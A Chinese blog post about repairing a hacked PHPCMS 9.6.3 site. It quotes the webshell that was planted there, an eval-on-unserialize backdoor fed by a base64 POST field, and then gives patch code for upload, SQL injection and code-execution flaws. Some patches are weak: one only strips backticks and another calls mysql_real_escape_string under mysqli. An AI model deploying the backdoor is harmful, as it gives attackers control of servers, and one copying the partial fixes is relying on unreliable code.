漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复
Author:zhoulujun Date:
今天发现网站注入了n多的php文件,网站运营后,一直没有怎么去管它,至今酿成大祸。分析发现,原来上传文件,没有做过滤。
在PHPCMS一些漏洞修复及解决方案
里面代码大致如下,
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = base64_decode($_POST['guige']); $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; $test_unser = unserialize($pp); ?>
文件上传下载漏洞修复
原来 phpcms\libs\classes\attachment.class.php,这个文件漏洞不少,
在144行位置:导致getshell修复方案
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png|svg', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; // 此处增加类型的判断 if($ext !== 'gif|jpg|jpeg|bmp|png'){ if(!in_array(strtoupper($ext),array('JPG','GIF','BMP','PNG','JPEG'))) exit('附加扩展名必须为gif、jpg、jpeg、bmp、png'); }
在164行位置:
foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); // 此处增加类型的判断 if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){ continue; }
注入漏洞
/phpcms/modules/poster/poster.php 文件中,未对输入参数$_GET['group']进行严格过滤,导致注入漏洞。
//如果设置了按地区或者按ip分类 if ($_GET['group']) { // $group = " `".$_GET['group']."`"; // 未对输入参数$_GET['group']进行严格过滤,导致注入漏洞 $_GET['group'] = preg_replace('#`#', '', $_GET['group']); $fields = "*, COUNT(".$_GET['group'].") AS num"; $order = " `num` DESC"; }
宽字节注入
phpcms\modules\pay\respond.php
phpcmsv9.5.9以后版本开始默认使用mysqli支持,因为代码逻辑不够严谨,导致宽字节注入
public function respond_get() { if ($_GET['code']){ //$payment = $this->get_by_code($_GET['code']);//因为代码逻辑不够严谨,导致宽字节注入 //phpcmsv9.5.9以后版本开始默认使用mysqli支持,mysql_real_escape_string 函数转义 SQL 语句中使用的字符串中的特殊字符, $payment = $this->get_by_code(mysql_real_escape_string($_GET['code']));
任意代码执行漏洞
phpcms\modules\admin\urlrule.php
全局替换:$this->url_ifok($_POST['info']['urlrule'])
为:$this->url_ifok($_POST['info']['urlrule'], $_POST['info']['ishtml'])
修改函数:url_ifok
public function url_ifok($url, $ishtml){ $urldb = explode("|",$url); foreach($urldb as $key=>$value){ if(!intval($ishtml) && strpos($value, "index.php") === 0){ $value = substr($value,'9'); } if( stripos($value, "php") !== false){ return false; } } return true; }
现贴到这里吧。
phpcms n年没有运营了。08年开始弄phpcms 网站,现在也得换一下了。新系统准备用react+json,前端渲染,后台渲染只给seo 蜘蛛看。
方案完成后,等待github更新吧
转载本站文章《漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复》,
请注明出处:https://www.zhoulujun.cn/html/php/phpcms/2018_1228_8203.html
延伸阅读:
- PHPCMS需要掌握的函数
- 为什么选址PHPCMS?安装基本配置如何?对比织梦DEDECMS/帝国CMS
- phpcms v9 投票列表点击——跳转页面投票不存在怎么办?
- phpcms v9百度地图全站生成!再也不用一个个生成了
- phpcms v9标签中ID使用汇总—区分phpcms首页栏目页内容页方法
- phpcms修改管理员,更新至20170412后提示用户名不合法
- phpcms文章点击量相关汇总——phpcms文章统计功能定制开发
- phpcms新增文章点击排行排行页与最新文章列表页面
- php日期映射表:phpcms v9自定义日期格式—后台设置日期格式
- phpcms批量修改文章内容里面附件图片地址
- phpcms推荐管理实践总结
- web安全nginx需设置HTTP header参数及phpcms设置CSP的缘由及注意事
- phpcms v9站http升级到https加http2遇到到坑
- phpcms修改模板并更新缓存后无更新:phpcms文件权限设置
- phpcms V9.6.0版本整合百度ueditor1.4.3.2,包括水图片上传水印
- phpcms数据库操作:全站新增内容查询条件修改,首页新闻
- phpcms站点用php脚本自动刷新腾讯云CDN
- 修改PHPCMS V9列表排序,listorder、order排序功能的方法